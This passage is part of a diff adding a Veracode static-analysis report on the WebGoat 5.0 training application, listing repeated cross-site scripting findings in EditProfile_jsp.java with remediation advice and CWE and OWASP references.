+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"257\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"111\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"115\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"200\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"102\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"195\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
